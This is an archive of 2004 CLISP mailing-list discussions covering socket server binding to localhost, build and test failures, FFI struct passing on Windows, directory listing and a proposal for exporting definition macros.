(SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host])

Where a [host] of NIL binds to all network interfaces (thus being
backwards compatible) and a supplied [host] only binds to the designated
network interface (usually localhost/127.0.0.1 or the hostname).

Regards,
Adam



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Sam wrote:
> > [1]> (close *trace-output*)
> >
> > *** - Lisp stack overflow. RESET
> > *** - Lisp stack overflow. RESET
>
> wow!

Yes, I find it impressing that after closing *standard-output*, *debug-io*
and *trace-output* at the same time (because they are all the same stream),
clisp gets back on its feet again.

This is better than, for example, ACL 6.2. Try it! :-)

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> * Adam Warner <yvfgf@pbafhygvat.arg.am> [2004-12-13 19:07:58 +1300]:
>
> Am I misreading the implementation notes or is there no way to bind a
> server socket solely to localhost (so the server is only accessible to
> clients running on the local computer?)
>
> (SOCKET:SOCKET-SERVER &OPTIONAL  [port-or-socket])
>     This function creates a socket an binds a port to the socket. The
>     server exists to watch for client connect attempts. The optional
>     argument is either a port (positive FIXNUM) or a SOCKET:SOCKET-STREAM
>     (from whose peer the connections will be made).

I think you will get what you want if you call SOCKET-SERVER on a socket
connected to localhost.

> I suggest the interface should be:
> (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host])
>
> Where a [host] of NIL binds to all network interfaces (thus being
> backwards compatible) and a supplied [host] only binds to the designated
> network interface (usually localhost/127.0.0.1 or the hostname).

<http://www.cygwin.com/acronyms/#PTC>
<http://www.cygwin.com/acronyms/#SHTDI>

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> * Bruno Haible <oehab@pyvfc.bet> [2004-12-13 13:40:56 +0100]:
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> Sam wrote:
>> > [1]> (close *trace-output*)
>> >
>> > *** - Lisp stack overflow. RESET
>> > *** - Lisp stack overflow. RESET
>>
>> wow!
>
> Yes, I find it impressing that after closing *standard-output*,
> *debug-io* and *trace-output* at the same time (because they are all
> the same stream), clisp gets back on its feet again.

I wonder if CLISP would behave even better if we make all these streams
different...

> This is better than, for example, ACL 6.2. Try it! :-)

I did not realize that ACL was such a crap WRT "user stupidity handling".

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> I wonder if CLISP would behave even better if we make all these streams
> different...

FRESH-LINE and UNREAD-CHAR work more reliably if they are kept all the same.

Bruno



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> * Adam Warner <yvfgf@pbafhygvat.arg.am> [2004-12-13 19:07:58 +1300]:
>
> Am I misreading the implementation notes or is there no way to bind a
> server socket solely to localhost (so the server is only accessible to
> clients running on the local computer?)

I believe this is correct.


 > From: Sam Steingold <sds@gnu.org>
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 > I think you will get what you want if you call SOCKET-SERVER on a
 > socket connected to localhost.

Sam -- I don't believe this is accurate.  I glanced at the socket
interface source for CLISP and the setting up of the TCP port listened
on, as well as the "local listen address" (which Adam wants to
control) must be done at the same time, via the sys call "bind()"
according to the rules of TCP.

Once a socket is created with SOCKET-SERVER, it is already "bound" and
listening on a port, with its listen address set to "0.0.0.0" -- which
means "any configured address on the SERVER". 

I imagine Adam has a server with multiple IP addresses, including the
"local loopback" (127.0.0.1) as well as some others, and he wants to
listen only on the loopback address, perhaps for security or some
other reason.  This address would need to specified, along w/ the
port, at the time the socket was created, if I understand correctly.

IMHO the imp. notes are somewhat misleading as to the meaning of the
"host" parameter where server ("listening") sockets are concerned.
The notes imply that the host mask controls what IP addresses on the
client side are allowed to connect, when in fact it is the mask of
which (of multiple) configured IP addresses on the SERVER may be
allowed to accept connections when clients ask to connect to a
specific address.

Hope this helps more than confuses.

> * Adam Warner <yvfgf@pbafhygvat.arg.am> [2004-12-13 19:07:58 +1300]:
> 
> I suggest the interface should be:
> (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host])
>
> Where a [host] of NIL binds to all network interfaces (thus being
> backwards compatible) and a supplied [host] only binds to the designated
> network interface (usually localhost/127.0.0.1 or the hostname).

Personally I think this is a very reasonable way to do it.

If desired I could see if I can add this quickly.  What is needed is
this optional parameter and, when it is given, the ability to
substitute in place of the hardcoded "0.0.0.0" which appears in the
CLISP code in src/socket.d ...

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> * John K. Hinsdale <uva@nyzn.pbz> [2004-12-13 11:00:33 -0500]:
>
>  > I think you will get what you want if you call SOCKET-SERVER on a
>  > socket connected to localhost.
>
> Sam -- I don't believe this is accurate.  I glanced at the socket
> interface source for CLISP and the setting up of the TCP port listened
> on, as well as the "local listen address" (which Adam wants to
> control) must be done at the same time, via the sys call "bind()"
> according to the rules of TCP.

look at socket.d:create_server_socket()
when socket is valid, its peer is used for bind.
so,

(with-open-stream (s (socket-connect 21))
  (socket-server s))

should return what Adam wanted (if there is a local telnet server).


> If desired I could see if I can add this quickly.  What is needed is
> this optional parameter and, when it is given, the ability to
> substitute in place of the hardcoded "0.0.0.0" which appears in the
> CLISP code in src/socket.d ...

please go ahead.

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 > look at socket.d:create_server_socket() when socket is valid, its peer
 > is used for bind.  so,
 > 
 > (with-open-stream (s (socket-connect 21))
 >   (socket-server s))
 > 
 > should return what Adam wanted (if there is a local telnet server).

nope, still think it's not what Adam wants since Adam needs to set
both the server-side listen address AND port.  I tested out the above,
and it creates a listening server socket with the listening address
set to what is wanted (127.0.0.1) but the port is also "copied" from
the client connection stream, S, and takes on whatever value that
happens to have (usually some unpredictable 16-bit number above 1024).

It's also a bit roundabout to to have to CONNECT, as a client, to some
arbitrary server in order to create a server socket, if one is only
interested in being a server.

    >> If desired I could see if I can add this quickly.  What is needed is

 > please go ahead.

i'll see what i can do.  FYI if you have used SSH port tunneling you
will know it took the SSH people years to allow setting of the listen
mask on the server side (always hardcoded to 127.0.0.1 when I always
wanted 0.0.0.0).  I had to recompile the source.

BTW, Adam, if you are using a CLISP built from the source you can just
hack "socket.d" and change "0.0.0.0" to "127.0.0.1" and you are in
business.

But this setting of the listen mask is a basic thing these days with
many hosts having multiple network interfaces and IP addresses (many
of these addresses being "virtual" IP's used by firewalls, VPNs and
other such network ware)

Hope this help


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> * John K. Hinsdale <uva@nyzn.pbz> [2004-12-13 11:52:39 -0500]:
>
>  > look at socket.d:create_server_socket() when socket is valid, its peer
>  > is used for bind.  so,
>  > 
>  > (with-open-stream (s (socket-connect 21))
>  >   (socket-server s))
>  > 
>  > should return what Adam wanted (if there is a local telnet server).
>
> nope, still think it's not what Adam wants since Adam needs to set
> both the server-side listen address AND port.

Oh, yes, I did not realize that he wanted also to set the port.
you are right.

> i'll see what i can do.  FYI if you have used SSH port tunneling you
> will know it took the SSH people years to allow setting of the listen
> mask on the server side (always hardcoded to 127.0.0.1 when I always
> wanted 0.0.0.0).  I had to recompile the source.

I hope it will not take _you_ years!

BTW, CLISP used "127.0.0.1" there until 2000-07-19.

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Hi John K. Hinsdale,

>> * Adam Warner <yvfgf@pbafhygvat.arg.am> [2004-12-13 19:07:58 +1300]:
>> 
>> I suggest the interface should be:
>> (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host])
>>
>> Where a [host] of NIL binds to all network interfaces (thus being
>> backwards compatible) and a supplied [host] only binds to the designated
>> network interface (usually localhost/127.0.0.1 or the hostname).
> 
> Personally I think this is a very reasonable way to do it.
> 
> If desired I could see if I can add this quickly.  What is needed is
> this optional parameter and, when it is given, the ability to
> substitute in place of the hardcoded "0.0.0.0" which appears in the
> CLISP code in src/socket.d ...

Many thanks for your responses John and Sam. John, you've been spot on.

Out of the free Lisps CMUCL and SBCL already have this functionality
(though I hit a bug in CMUCL and am using the db-sockets library which
parallels sb-bsd-sockets); GCL's server side code is still incomplete; and
ABCL should soon include the functionality after my patch is applied:
<http://article.gmane.org/gmane.editors.j.devel/759>

As can be seen above the amount of code required isn't major in Java
with ABCL's architecture. I'm unfamiliar with CLISP internals and won't
be implementing it myself at this stage. It will be good when the Lisp
implementations have a greater common level of base socket functionality.

Regards,
Adam



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On Mon, 6 Dec 2004, Sam Steingold wrote:

> > * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-07 06:21:10 +1100]:
> >
> > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
> > -DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c
> > In file included from modules.d:12:
> > /home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two
> > global register variables
> > /home/ro/src/clisp-2.33.2/new/full
> > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
> > -DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a
> > libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run
> > gcc: regexi.o: No such file or directory
> > gcc: lisp.a: No such file or directory
> > gcc: libcharset.a: No such file or directory
> > gcc: libavcall.a: No such file or directory
> > gcc: libcallback.a: No such file or directory
> > base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x
> > (saveinitmem "full/lispinit.mem")
> > ;; Loading file regexp/preload.lisp ...
> > ;; Loaded file regexp/preload.lisp
> > 1202136 ;
> > 601068
> > full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x
> > (saveinitmem "full/lispinit.mem")
> > ./clisp-link: full/lisp.run: No such file or directory
> > make: *** [full] Error 1
> 
> this is strange.
> what do you have in "new/base/"?
> $ ls new/base/
> $ ls new/regexp/
> $ cd new
> $ make base
> $ make full
> 
> -- 
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> When we write programs that "learn", it turns out we do and they don't.
> 
The problem was I had CDPATH set. This results in cd echoing the new path,
which means commands such as 

absolute_destinationdir=`cd "$destinationdir" ; /bin/pwd`

in the clisp-link script have the directory doubled, and invalid links are
created in the full directory.

Robert.



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Hi,

when I run make check after compiling clisp 2.33.2, I get:

test error:
(PRINT 1 2) make[1]: *** [tests] Segmentation fault
make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/build-dif/suite'
make: *** [testsuite] Error 2

If I comment out this test in tests/excepsit.tst, it completes
successfully with zero errors.

I am using Linux Debian kernel 2.4.18-1-686.

Robert.



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Robert Olney wrote:
> The problem was I had CDPATH set. This results in cd echoing the new path,
> which means commands such as
>
> absolute_destinationdir=`cd "$destinationdir" ; /bin/pwd`
>
> in the clisp-link script have the directory doubled, and invalid links are
> created in the full directory.

Thanks for the explanation. I'm adding a workaround to clisp's configure.

Bruno



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> * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-14 13:55:24 +1100]:
>
> when I run make check after compiling clisp 2.33.2, I get:
>
> test error:
> (PRINT 1 2) make[1]: *** [tests] Segmentation fault
> make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/build-dif/suite'
> make: *** [testsuite] Error 2
>
> If I comment out this test in tests/excepsit.tst, it completes
> successfully with zero errors.
>
> I am using Linux Debian kernel 2.4.18-1-686.

this is a known problem with gcc2:
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I am working on a small lisp library using FFI, simple question, I am
having trouble getting values that have been loaded in lisp and then
getting them out to a C environment.  For example, here is a
struct(basically a win32 struct) and then I place a variables instance
in a function in let ... but I keep getting clisp 'foreign-values
errors' that say I cant convert from lisp to a foreign-value.

;;;
;;; Author: Berlin Brown
;;;
;;; Date: 12/14/2004
;;;
;;; $Id$
;;;
;;;
;;; Note: FFI:C-PTR is a keyword denoting a pointer of type x
;;;
(defpackage #:widget-toolkit-test
 (:use #:common-lisp #:ffi)
 (:export #:run-test-suite))

;;; define this package
(in-package #:widget-toolkit-test)

(eval-when (compile) (setq FFI:*OUTPUT-C-FUNCTIONS* t))
(default-foreign-language :stdc)

;;;
;;; Member Functions ///
;;;

;;;
;;; Test WNDPROC
;;;
(defun test-wndproc (hwnd message wparam lparam)
 (declare (type ffi:c-pointer hwnd))
 (declare (type ffi:uint message))
 (declare (type ffi:long lparam))
 ;;; return ;;;
 (let ((lresult -1))
   (declare (type long lresult))
   lresult))

;;;
;;; WNDCLASSEX
;;; note: typedef CONST CHAR *LPCCH,*PCSTR,*LPCSTR;
;;;
;;; typedef WORD *PWORD,*LPWORD, whenever you
;;; see PWORD = WORD*
;;;
;;;
;;; invalid: (b (c-pointer (c-function
;;; invalid:   (:arguments (v int))) d))
;;;
(def-c-struct test-wndclassex
 (cbSize uint)
 (style uint)
 (lpfnWndProc
  (c-function (:arguments
               (hwnd ffi:c-pointer)
               (message ffi:uint)
               (lparam ffi:uint))
              (:language :stdc)
              (:return-type ffi:long)))
 (cbClsExtra int)
 (cbWndExtra int)
 (hInstance c-pointer)
 (hIcon c-pointer)
 (hCursor c-pointer)
 (hbrBackground c-pointer)
 (lpszMenuName c-string)
 (lpszClassName c-string)
 (hIconSm c-pointer))

;;;
;;; DLLIMPORT unsigned int WidgetSizeofWND();
;;; DLLIMPORT void* WidgetDefaultIcon();
;;; DLLIMPORT void* WidgetDefaultCursor();
;;; DLLIMPORT void* WidgetDefaultBrush();
;;;
;;; Default Widget Create Handles:
;;;
(def-call-out widget-testpointer
 (:name "TestPointer")
 (:arguments (lisp-wndclass-ptr (c-ptr test-wndclassex)))
 (:return-type)
 (:library "WidgetToolkit.dll"))

(def-call-out widget-sizeof-wnd
 (:name "WidgetSizeofWND")
 (:arguments)
 (:return-type ffi:c-pointer)
 (:library "WidgetToolkit.dll"))

(def-call-out widget-defaulticon
 (:name "WidgetDefaultIcon")
 (:arguments)
 (:return-type ffi:c-pointer)
 (:library "WidgetToolkit.dll"))

(def-call-out widget-defaultcursor
 (:name "WidgetDefaultCursor")
 (:arguments)
 (:return-type ffi:c-pointer)
 (:library "WidgetToolkit.dll"))

(def-call-out widget-defaultbrush
 (:name "WidgetDefaultBrush")
 (:arguments)
 (:return-type ffi:c-pointer)
 (:library "WidgetToolkit.dll"))

;;;
;;; Run the set of tests
;;;
(defun run-test-suite ()
 (print "/// test suite begin .....")
 (let ((wnd
        (make-test-wndclassex
         :cbSize (widget-sizeof-wnd)
         :style 0
         :lpfnWndProc #'test-wndproc
         :cbClsExtra 0
         :cbWndExtra 0
         :hInstance nil
         :hIcon (widget-defaulticon)
         :hCursor (widget-defaultcursor)
         :hbrBackground (widget-defaultbrush)
         :lpszMenuName "NONE"
         :lpszClassName "gClassName"
         :hIconSm (widget-defaulticon)
        )))
   ;;(print (slot-value wnd 'cbSize))
   ;;(print (slot-value wnd 'hIcon))
   (def-c-var aa (
                  :type (c-ptr test-wndclassex)))
   ;;(widget-testpointer aa)
   ;;;(ffi:c-var-address wnd)

;;;
;;; Problem Area here!!!!!!!!!!!!!!!!!!!!!!!!!!!1111

   )
 ;;; Exit
 (print "..... test suite end ///"))

(provide "widget-toolkit-test")

;;;
;;; End of File
;;;


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Date: Tue Dec 14 07:51:03 2004
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> * Berlin Brown <oreyva.oebja@tznvy.pbz> [2004-12-14 10:43:09 -0500]:
>
> I am working on a small lisp library using FFI, simple question, I am
> having trouble getting values that have been loaded in lisp and then
> getting them out to a C environment.  For example, here is a
> struct(basically a win32 struct) and then I place a variables instance
> in a function in let ... but I keep getting clisp 'foreign-values
> errors' that say I cant convert from lisp to a foreign-value.

could you please show a _small_ code snippet with the precise error message?

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Date: Tue Dec 14 09:32:03 2004
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Assume that test-wndclassex is a struct, actually the values are shown
below, and

    (widget-testpointer wnd)  

widget-testpointer is a C function, defined in a DLL, the exact same
struct is defined in  C and this function has one argument, a pointer
to that particular struct.  And I cant seem to pass the reference of
that struct to C.  And I did already define the callout, in earlier
code.

DLLIMPORT void widget_testpointer(SOME_STRUCT *ptr) {
}

;;   Loaded file widget-test.lisp
"/// test suite begin ....." 
*** - #<FOREIGN-ADDRESS #x00000030> cannot be converted to the foreign
type FFI:UINT


 (let ((wnd
	 (make-test-wndclassex
	  :cbSize (widget-sizeof-wnd)
	  :style 0
	  :lpfnWndProc #'test-wndproc
	  :cbClsExtra 0
	  :cbWndExtra 0
	  :hInstance nil
	  :hIcon (widget-defaulticon)
	  :hCursor (widget-defaultcursor)
	  :hbrBackground (widget-defaultbrush)
	  :lpszMenuName "NONE"
	  :lpszClassName "gClassName"
	  :hIconSm (widget-defaulticon)
	 ))
	)
    ;;(print (slot-value wnd 'cbSize))
    ;;(print (slot-value wnd 'hIcon))

    (widget-testpointer wnd)
;;;;   ERROR CAUSED ABOVE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ;;(widget-testpointer 


On Tue, 14 Dec 2004 10:50:35 -0500, Sam Steingold <sds@gnu.org> wrote:
> > * Berlin Brown <oreyva.oebja@tznvy.pbz> [2004-12-14 10:43:09 -0500]:
> >
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> > having trouble getting values that have been loaded in lisp and then
> > getting them out to a C environment.  For example, here is a
> > struct(basically a win32 struct) and then I place a variables instance
> > in a function in let ... but I keep getting clisp 'foreign-values
> > errors' that say I cant convert from lisp to a foreign-value.
> 
> could you please show a _small_ code snippet with the precise error message?
> 
> --
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Berlin,

one obvious error is different number of formal parameters to test-wndclassex.

I don't know if that's enough to explain the error message, but it's certain to cause some trouble when the callback gets called.


>(defun test-wndproc (hwnd message wparam lparam)

>(def-c-struct test-wndclassex
> (lpfnWndProc
>  (c-function (:arguments
>               (hwnd ffi:c-pointer)
>               (message ffi:uint)
>               (lparam ffi:uint))
>              (:language :stdc)
>              (:return-type ffi:long)))

>(def-call-out widget-testpointer
> (:name "TestPointer")
> (:arguments (lisp-wndclass-ptr (c-ptr test-wndclassex)))
> (:return-type)
> (:library "WidgetToolkit.dll"))

>(defun run-test-suite ()
> (let ((wnd
>        (make-test-wndclassex
>         :cbSize (widget-sizeof-wnd)
>         :style 0
>         :lpfnWndProc #'test-wndproc
>         :cbClsExtra 0
>         :cbWndExtra 0
>         :hInstance nil
>         :hIcon (widget-defaulticon)
>         :hCursor (widget-defaultcursor)
>         :hbrBackground (widget-defaultbrush)
>         :lpszMenuName "NONE"
>         :lpszClassName "gClassName"
>         :hIconSm (widget-defaulticon)
>        )))
>   (widget-testpointer wnd)

BTW, are you sure that stack-allocating all storage is correct?
C-PTR will lead to a copy of wndclassex being created on the stack for the duration of the call.
If that's not what you want, you may consider using (c-pointer test-wndclassex) (with a recent CLISP), but then you must allocated such an object.

Regards,
	Jorg Hohle.


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> * Berlin Brown <oreyva.oebja@tznvy.pbz> [2004-12-14 12:31:53 -0500]:
>
> widget-testpointer is a C function, defined in a DLL, the exact same
> struct is defined in C and this function has one argument, a pointer
> to that particular struct.  And I cant seem to pass the reference of
> that struct to C.  And I did already define the callout, in earlier
> code.

did you define the lisp struct with def-c-struct?

>> could you please show a _small_ code snippet with the precise error message?

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Yes:

(def-c-struct lisp-wndclassex
  (cbSize uint)
  (style uint)
  (lpfnWndProc c-pointer)
  (cbClsExtra int)
  (cbWndExtra int)
  (hInstance c-pointer)
  (hIcon c-pointer)
  (hCursor c-pointer)
  (hbrBackground c-pointer)
  (lpszMenuName c-string)
  (lpszClassName c-string)
  (hIconSm c-pointer))



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> > * Berlin Brown <oreyva.oebja@tznvy.pbz> [2004-12-14 12:31:53 -0500]:
> >
> > widget-testpointer is a C function, defined in a DLL, the exact same
> > struct is defined in C and this function has one argument, a pointer
> > to that particular struct.  And I cant seem to pass the reference of
> > that struct to C.  And I did already define the callout, in earlier
> > code.
> 
> did you define the lisp struct with def-c-struct?
> 
> >> could you please show a _small_ code snippet with the precise error message?
> 
> --
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How can I get a list of sub-directories in clisp? In other lisps I've 
used the function 'directory' which returns a list of a directory 
contents:

(1): (directory "components/")
(#p"/v/filer1a/v0q029/oursland/km/components/CVS"
  #p"/v/filer1a/v0q029/oursland/km/components/core")

In clisp I get the following:

[1]> (directory "components/")
(#P"/Users/oursland/ut/nlp/km/components/")

Is there some other function I should be using or is there some option 
I should set?

Thank you,

Alan Oursland



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> * Alan Oursland <bhefynaq@pf.hgrknf.rqh> [2004-12-15 11:10:30 -0600]:
>
> How can I get a list of sub-directories in clisp? In other lisps I've
> used the function 'directory' which returns a list of a directory
> contents:
>
> (1): (directory "components/")
> (#p"/v/filer1a/v0q029/oursland/km/components/CVS"
>   #p"/v/filer1a/v0q029/oursland/km/components/core")
>
> In clisp I get the following:
>
> [1]> (directory "components/")
> (#P"/Users/oursland/ut/nlp/km/components/")
>
> Is there some other function I should be using or is there some option
> I should set?

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On Tue, 14 Dec 2004, Sam Steingold wrote:

> > * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-14 13:55:24 +1100]:
> >
> > when I run make check after compiling clisp 2.33.2, I get:
> >
> > test error:
> > (PRINT 1 2) make[1]: *** [tests] Segmentation fault
> > make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/build-dif/suite'
> > make: *** [testsuite] Error 2
> >
> > If I comment out this test in tests/excepsit.tst, it completes
> > successfully with zero errors.
> >
> > I am using Linux Debian kernel 2.4.18-1-686.
> 
> this is a known problem with gcc2:
> http://sourceforge.net/tracker/index.php?func=detail&aid=785605&group_id=1355&atid=101355
> 
Thanks. I was using gcc 2.95. It worked with gcc 3.0.

Robert.




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I tried using the -M option with my newly built clisp compiled with:

./configure --with-export-syscalls --with-module=regexp new

and got:

~/src/clisp-2.33.2/new$ ./clisp -norc -M ./full/lispinit.mem
/home/ro/src/clisp-2.33.2/new/base/lisp.run: initialization file 
`./full/lispinit.mem' was not created by this version of CLISP

This seems like a strange thing to say. I don't have any other version of
clisp. What does it mean?

I note that

./clisp -K full -norc

works OK

Thanks,
Robert.



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I tried using the -M option with my newly built clisp compiled with:

./configure --with-export-syscalls --with-module=regexp new

and got:

~/src/clisp-2.33.2/new$ ./clisp -norc -M ./full/lispinit.mem
/home/ro/src/clisp-2.33.2/new/base/lisp.run: initialization file 
`./full/lispinit.mem' was not created by this version of CLISP

This seems like a strange thing to say. I don't have any other version of
clisp. What does it mean?

I note that

./clisp -K full -norc

works OK

Thanks,
Robert.




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Maybe someone wants to port this to CLISP:

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> * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-16 16:52:29 +1100]:
>
> I tried using the -M option with my newly built clisp compiled with:
>
> ./configure --with-export-syscalls --with-module=regexp new

"--with-export-syscalls" is ancient history.

> and got:
>
> ~/src/clisp-2.33.2/new$ ./clisp -norc -M ./full/lispinit.mem
> /home/ro/src/clisp-2.33.2/new/base/lisp.run: initialization file 
> `./full/lispinit.mem' was not created by this version of CLISP

it should have said "CLISP runtime".
`clisp' runs base/lisp.run runtime by default.
memory image full/lispinit.mem was created by full/lisp.run.

> I note that
> ./clisp -K full -norc
> works OK

that's what you should use.

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Date: Thu Dec 16 07:10:06 2004
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proposal:
user variable CUSTOM:*DEFINE-EXPORTING*
initial value: NIL
when non-nil, macroexpansion of
     DEFUN, DEFMACRO, DEFVAR, DEFCONSTANT, DEFPARAMETER, DEF-CALL-OUT
     (but not DEF-CALL-IN), DEFINE-MODIFY-MACRO, DEFINE-SYMBOL-MACRO,
     DEFSETF, DEF-C-TYPE, DEF-C-ENUM, DEF-C-STRUCT, DEF-C-VAR,
     DEFSTRUCT, DEFCLASS
will contain an EXPORT form for the symbol defined:
     (EXPORT ',name ,(symbol-package name))
the variable is checked only at macroexpansion time,
so when loading a compiled file its value has no effect.

use case:

(eval-when (compile eval)
  (setq custom:*define-exporting* t))
(defvar foo 10)
(defun bar (x) (+ x foo))

NOTE: slot accessors (but not slot names) for DEFCLASS, DEFSTRUCT,
      DEF-C-STRUCT, are also exported.
NOTE: constants defined by DEF-C-ENUM are also exported.

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Date: Thu Dec 16 12:14:02 2004
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Sam wrote:
> proposal:
> user variable CUSTOM:*DEFINE-EXPORTING*
> initial value: NIL
> when non-nil, macroexpansion of
>      DEFUN, DEFMACRO, DEFVAR, DEFCONSTANT, DEFPARAMETER, DEF-CALL-OUT
>      (but not DEF-CALL-IN), DEFINE-MODIFY-MACRO, DEFINE-SYMBOL-MACRO,
>      DEFSETF, DEF-C-TYPE, DEF-C-ENUM, DEF-C-STRUCT, DEF-C-VAR,
>      DEFSTRUCT, DEFCLASS
> will contain an EXPORT form for the symbol defined:
>      (EXPORT ',name ,(symbol-package name))
> the variable is checked only at macroexpansion time,
> so when loading a compiled file its value has no effect.
> 
> use case:
> 
> (eval-when (compile eval)
>   (setq custom:*define-exporting* t))
> (defvar foo 10)
> (defun bar (x) (+ x foo))
> 
> NOTE: slot accessors (but not slot names) for DEFCLASS, DEFSTRUCT,
>       DEF-C-STRUCT, are also exported.
> NOTE: constants defined by DEF-C-ENUM are also exported.

I'm more in favour of an extra package that exports the symbols
  EXPORTING:DEFUN, EXPORTING:DEFMACRO, etc.

Why?
  - It allows leaving the ANSI CL macros unmodified.
  - It allows using some of the exporting macros but not all.
  - It allows using the non-exporting macro in selected places.

Use case:

(defpackage "MY-PACK"
  (:use "COMMON-LISP")
  (:shadowing-import-from "EXPORTING" #:defun #:defmacro #:defvar))

(defvar foo 10)
(defun bar (x) (+ x foo))
; This one I don't want to export.
(cl:defun private-password () "as7djqkw")

> (but not DEF-CALL-IN)

Why not? When the called-in function is a generic function, it makes sense
to let other packages attach methods to it; therefore its name should be
exported.

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2004-12-16 21:12:11 +0100]:
>
> I'm more in favour of an extra package that exports the symbols
>   EXPORTING:DEFUN, EXPORTING:DEFMACRO, etc.

as long as they look like

(defmacro exporting:defun (name &rest body)
  `(progn (cl:defun ,name ,@body)
          (cl:export ',name ,(find-package name))))

i.e., do not re-implement the original functionality.
note that DEFSTRUCT, DEFCLASS, DEF-C-STRUCT will need to use MOP to get
the list of readers, writers and accessors to export.

PS note that PARI uses modern package mode; I suggest that as you remove
exporting.lisp, you convert all those modules to modern mode.

PPS I suggest :MODERN argument for DEFPACKAGE/MAKE-PACKAGE.
when set, it should forbid :CASE-SENSITIVE & :CASE-INVERTED arguments
and convert CL in :USE to CS-CL.  I.e.,

    (make-package "FOO" :modern t :use '(#:cl #:ext))

is equivalent to

    (make-package "FOO" :case-inverted t :case-sensitive t
                  :use '(#:cs-cl #'ext))

this might make it easier to write code portable between ACL and CLISP.

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On Thu, 16 Dec 2004, Sam Steingold wrote:

> > * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-16 16:52:29 +1100]:
> >
> > I tried using the -M option with my newly built clisp compiled with:
> >
> > ./configure --with-export-syscalls --with-module=regexp new
> 
> "--with-export-syscalls" is ancient history.

I got this from step 12 in clisp-2.33.2/unix/INSTALL

> 
> > and got:
> >
> > ~/src/clisp-2.33.2/new$ ./clisp -norc -M ./full/lispinit.mem
> > /home/ro/src/clisp-2.33.2/new/base/lisp.run: initialization file 
> > `./full/lispinit.mem' was not created by this version of CLISP
> 
> it should have said "CLISP runtime".
> `clisp' runs base/lisp.run runtime by default.
> memory image full/lispinit.mem was created by full/lisp.run.
>

I see. Thanks.

Robert.



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> * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-17 07:47:40 +1100]:
>
> On Thu, 16 Dec 2004, Sam Steingold wrote:
>
>> > * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-16 16:52:29 +1100]:
>> >
>> > I tried using the -M option with my newly built clisp compiled with:
>> >
>> > ./configure --with-export-syscalls --with-module=regexp new
>> 
>> "--with-export-syscalls" is ancient history.
>
> I got this from step 12 in clisp-2.33.2/unix/INSTALL

I fixed this on 2004/06/01, but it did not make it into the
clisp_2_33-patched tree...

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Date: Fri Dec 17 06:52:01 2004
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Pascal,

>It seems that 64-bit FFI doesn't work.
>The code generated is ok, the C compiler push and fetches the 64-bit
>arguments on the stack, but it doesn't work with these FFI=20
>declarations:

While I couldn't make much sense of this bug report (e.g. it's left =
unclear to me whether it only concerns Alpha, Athlon or whatever =
processors (none of which I have access to)), it's actually a sad =
matter of fact that testcases for 64bit FFI operations are not present =
in the CLISP testsuite.

The reason is that at the time, long long arithmetic was not available =
on all platforms where CLISP ran on, and I had no plan to make =
conditional testcases.
    #ifdef HAVE_LONGLONG is in foreign.d all around 64bit support
HAVE_LONGLONG must also be built into the ffcall library.

These days, I believe it can possibly --  I don't know, Sam can =
probably tell -- be assumed that all C compilers used to build CLISP =
have 64bit int support (I know for sure that gcc and MS-VC have it), so =
such testcases could be added inconditionaly to ffi.tst, or 64bit error =
messages ignored on such feature-challenged C compilers or something =
else be done to have these features tested conditionally (e.g. if =
(some-test) (do-load-test "ffi64.tst")).

Maybe that would have helped discover the error you talk about.

Regards,
	J=F6rg H=F6hle.


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Hoehle, Joerg-Cyril writes:
> Pascal,
> 
> >It seems that 64-bit FFI doesn't work.
> >The code generated is ok, the C compiler push and fetches the 64-bit
> >arguments on the stack, but it doesn't work with these FFI 
> >declarations:
> 
> While I couldn't make much sense of this bug report (e.g. it's left
> unclear to me whether it only concerns Alpha, Athlon or whatever

Sorry for the lack of context. 
The problem occurs on 32-bit Athlon (K6). 
I've not checked elsewhere.

> processors (none of which I have access to)), it's actually a sad
> matter of fact that testcases for 64bit FFI operations are not
> present in the CLISP testsuite.
> 
> The reason is that at the time, long long arithmetic was not
> available on all platforms where CLISP ran on, and I had no plan to
> make conditional testcases.  #ifdef HAVE_LONGLONG is in foreign.d
> all around 64bit support HAVE_LONGLONG must also be built into the
> ffcall library.
> 
> These days, I believe it can possibly --  I don't know, Sam can
> probably tell -- be assumed that all C compilers used to build CLISP
> have 64bit int support (I know for sure that gcc and MS-VC have it),
> so such testcases could be added inconditionaly to ffi.tst, or 64bit
> error messages ignored on such feature-challenged C compilers or
> something else be done to have these features tested conditionally
> (e.g. if (some-test) (do-load-test "ffi64.tst")).
> 
> Maybe that would have helped discover the error you talk about.
> 
> Regards,
> 	Jörg Höhle.

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> * Bruno Haible <oehab@pyvfc.bet> [2004-12-18 18:59:13 +0100]:
>
>> > (SOCKET:SOCKET-SERVER &OPTIONAL  [port-or-socket])
>> >     This function creates a socket an binds a port to the socket. The
>> >     server exists to watch for client connect attempts. The optional
>> >     argument is either a port (positive FIXNUM) or a SOCKET:SOCKET-STREAM
>> >     (from whose peer the connections will be made).
>
> This is a doc bug: "from whose peer" should be "from whose local host
> name" (that's what the code does).

I don't think so.
the intent is that the new SOCKET-SERVER should be accessible from the
